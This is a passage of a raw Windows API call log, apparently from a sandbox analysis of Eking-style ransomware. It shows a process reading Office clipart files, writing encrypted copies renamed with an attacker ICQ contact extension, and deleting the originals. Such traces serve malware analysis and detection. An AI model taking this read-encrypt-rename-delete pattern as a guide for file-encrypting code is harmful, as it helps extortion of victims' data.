dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0268.568] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x9456, lpOverlapped=0x0) returned 1 [0268.572] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x9460, lpOverlapped=0x0) returned 1 [0268.851] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0268.851] CloseHandle (hObject=0x388) returned 1 [0268.852] CloseHandle (hObject=0x368) returned 1 [0268.853] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0 [0268.853] SetEvent (hEvent=0x2b8) returned 1 [0268.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0268.856] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=40030) returned 1 [0268.856] CloseHandle (hObject=0x368) returned 1 [0268.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220 [0268.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220 [0268.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0268.857] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.857] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x388 [0268.859] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x9c5e, lpOverlapped=0x0) returned 1 [0268.937] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x9c60, lpOverlapped=0x0) returned 1 [0268.939] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0268.939] CloseHandle (hObject=0x368) returned 1 [0268.939] CloseHandle (hObject=0x388) returned 1 [0268.939] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0 [0268.940] SetEvent (hEvent=0x2b8) returned 1 [0268.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.965] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=792) returned 1 [0268.965] CloseHandle (hObject=0x388) returned 1 [0268.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220 [0268.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220 [0268.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0268.977] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.977] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0268.979] ReadFile (in: hFile=0x364, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x318, lpOverlapped=0x0) returned 1 [0268.981] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x320, lpOverlapped=0x0) returned 1 [0268.983] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0268.983] CloseHandle (hObject=0x364) returned 1 [0268.983] CloseHandle (hObject=0x3b4) returned 1 [0268.983] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0 [0268.983] SetEvent (hEvent=0x2b8) returned 1 [0268.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0268.985] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7828) returned 1 [0268.985] CloseHandle (hObject=0x3b4) returned 1 [0268.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220 [0268.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220 [0268.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0268.986] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.986] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x364 [0268.987] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1e94, lpOverlapped=0x0) returned 1 [0268.991] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1ea0, lpOverlapped=0x0) returned 1 [0268.993] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0268.993] CloseHandle (hObject=0x3b4) returned 1 [0268.993] CloseHandle (hObject=0x364) returned 1 [0268.993] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0 [0268.994] SetEvent (hEvent=0x2b8) returned 1 [0268.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0268.995] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=42992) returned 1 [0268.995] CloseHandle (hObject=0x364) returned 1 [0268.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220 [0268.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220 [0268.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0268.996] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.996] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0268.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0268.997] ReadFile (in: hFile=0x364, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xa7f0, lpOverlapped=0x0) returned 1 [0269.000] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa800, lpOverlapped=0x0) returned 1 [0269.002] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0269.002] CloseHandle (hObject=0x364) returned 1 [0269.003] CloseHandle (hObject=0x3b4) returned 1 [0269.003] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0 [0269.003] SetEvent (hEvent=0x2b8) returned 1 [0269.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0269.004] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=42908) returned 1 [0269.004] CloseHandle (hObject=0x3b4) returned 1 [0269.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220 [0269.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220 [0269.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0269.005] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.005] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x364 [0269.006] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xa79c, lpOverlapped=0x0) returned 1 [0269.010] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa7a0, lpOverlapped=0x0) returned 1 [0269.187] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0269.187] CloseHandle (hObject=0x3b4) returned 1 [0269.187] CloseHandle (hObject=0x364) returned 1 [0269.198] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0 [0269.198] SetEvent (hEvent=0x2b8) returned 1 [0269.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0269.201] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=712) returned 1 [0269.201] CloseHandle (hObject=0x3b4) returned 1 [0269.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0269.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0269.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0269.203] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.203] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0269.204] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2c8, lpOverlapped=0x0) returned 1 [0269.206] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2d0, lpOverlapped=0x0) returned 1 [0269.207] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0269.207] CloseHandle (hObject=0x3b4) returned 1 [0269.208] CloseHandle (hObject=0x3a8) returned 1 [0269.208] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0 [0269.208] SetEvent (hEvent=0x2b8) returned 1 [0269.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.231] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1932) returned 1 [0269.231] CloseHandle (hObject=0x3a8) returned 1 [0269.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0269.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0269.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.232] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.232] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0269.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0269.233] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x78c, lpOverlapped=0x0) returned 1 [0269.250] WriteFile 